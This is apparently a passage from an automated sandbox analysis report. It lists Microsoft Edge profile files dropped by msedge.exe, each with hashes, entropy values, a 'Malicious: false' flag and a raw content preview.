Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10583409049867316
Encrypted:	false
SSDEEP:	12:JntBKm4GkntBKm4cpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntBKm0ntBKmhoPnnnnnnnnnnnnvHj
MD5:	3AF3402BFAEC4492DA378F95C353E0D2
SHA1:	707DB8D0C279EE634F7DE1E65ED2951A2D6FD9C5
SHA-256:	694F989151DB231BEADE54DA70FCDA3CB7E3F0FBDD10A06EC565318F5C5335A9
SHA-512:	AB943485BEBF00FF4A972C9FBA5D2772FEEA1A9BF9D48005302F3892E42BB595B625DD23B923947F4ECDAB78F18FFC432527689FED184AAFF9F5B3DC92EF9FC2
Malicious:	false
Preview:	..-.............Q.......;........4..}..+k.8eua...-.............Q.......;........4..}..+k.8eua.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9347693606904769
Encrypted:	false
SSDEEP:	384:G2Fe3PoZp2hpIyzW4f+r+pywyslymyV4yxxy3n:fgya
MD5:	2955136F1007C0A0BE4B458623C47934
SHA1:	2915A34E83624845E29EED452E01DF20127222A9
SHA-256:	780EA691211D358DC047761AB32ED99FD102AC3B1953F083DC2498A60D740FCC
SHA-512:	F0D41F43B4781C27A2DE1A811508AD4E1E6F2F7BB5BEF6CCE13F4DEC7A74B06CAB0B935FF86598AF4BD127F5E6436430BE28BB5C80FAEACD5692327D353502F6
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.241082249235792
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuu589B:iDsB
MD5:	DB1A50D0A202B409FEB42C8262B555AE
SHA1:	4F27258003D7F34B5B501458C446F351DB248520
SHA-256:	35FE200557B974F5FD44B1FEB538F76B81E44518B1BE01E3A57DA7D28DC88216
SHA-512:	A596C2C9190B1085D9C845687BC234820A29B4AA5F68A30376FD3231E407487A015E50079B723ED7423AD3CB228BB067B25054EC6B6E5A6761F458B0F245B260
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............];./0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.264531186949663
Encrypted:	false
SSDEEP:	6:2+Q+q2P923oH+TcwtfrK+IFUt8LD2SgZmw+LD2SQVkwO923oH+TcwtfrUeLJ:26v4Yeb23FUt8LiX/+LiF5LYeb3J
MD5:	399A492A7AFFC79DC933A86E88D8C026
SHA1:	7E2057E74FFB7D0570BF4C54F35EFF367CF298A0
SHA-256:	91A616BE5A72E12DB2055AE0F23B4D0E82471792A4269728EC1B9FBCADC1CD30
SHA-512:	BEC072D449DCB14840E4D15E0800253337CE236BB7E21E8D35BDF9FB70F572C62B8A403AA52F4582030E74E797FED926C7A548D05A54ADBCF46667F0104BA4B1
Malicious:	false
Preview:	2024/10/27-12:54:26.597 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/27-12:54:26.598 1d08 Recovering log #3.2024/10/27-12:54:26.598 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.264531186949663
Encrypted:	false
SSDEEP:	6:2+Q+q2P923oH+TcwtfrK+IFUt8LD2SgZmw+LD2SQVkwO923oH+TcwtfrUeLJ:26v4Yeb23FUt8LiX/+LiF5LYeb3J
MD5:	399A492A7AFFC79DC933A86E88D8C026
SHA1:	7E2057E74FFB7D0570BF4C54F35EFF367CF298A0
SHA-256:	91A616BE5A72E12DB2055AE0F23B4D0E82471792A4269728EC1B9FBCADC1CD30
SHA-512:	BEC072D449DCB14840E4D15E0800253337CE236BB7E21E8D35BDF9FB70F572C62B8A403AA52F4582030E74E797FED926C7A548D05A54ADBCF46667F0104BA4B1
Malicious:	false
Preview:	2024/10/27-12:54:26.597 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/27-12:54:26.598 1d08 Recovering log #3.2024/10/27-12:54:26.598 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.230718786586
Encrypted:	false
SSDEEP:	6:24HjQ+q2P923oH+TcwtfrzAdIFUt8LLZgZmw+LLZQVkwO923oH+TcwtfrzILJ:24HBv4Yeb9FUt8L6/+LG5LYeb2J
MD5:	342EAFB1684674D3D44F3D5B7F965D5A
SHA1:	80C4DAA87A92735A5F0236A5EA1F0F152E7A8A79
SHA-256:	AFACDF7C5028F7B141186FBADF55E3D11E12D219656DDAA264C9BBADAE0740CF
SHA-512:	975E25203F508C0103084F4CBD7F4BC38F1121CBFFAB72C9EDEF35AB398DBAF83934A944664F9530DBB47EE82A65AA0503BCB1A813A57477BDCF35F1B94AA731
Malicious:	false
Preview:	2024/10/27-12:54:26.588 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/27-12:54:26.590 1d08 Recovering log #3.2024/10/27-12:54:26.590 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.230718786586
Encrypted:	false
SSDEEP:	6:24HjQ+q2P923oH+TcwtfrzAdIFUt8LLZgZmw+LLZQVkwO923oH+TcwtfrzILJ:24HBv4Yeb9FUt8L6/+LG5LYeb2J
MD5:	342EAFB1684674D3D44F3D5B7F965D5A
SHA1:	80C4DAA87A92735A5F0236A5EA1F0F152E7A8A79
SHA-256:	AFACDF7C5028F7B141186FBADF55E3D11E12D219656DDAA264C9BBADAE0740CF
SHA-512:	975E25203F508C0103084F4CBD7F4BC38F1121CBFFAB72C9EDEF35AB398DBAF83934A944664F9530DBB47EE82A65AA0503BCB1A813A57477BDCF35F1B94AA731
Malicious:	false
Preview:	2024/10/27-12:54:26.588 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/27-12:54:26.590 1d08 Recovering log #3.2024/10/27-12:54:26.590 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38c82.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38ed3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b509.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f389.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49f3a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4fa0c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
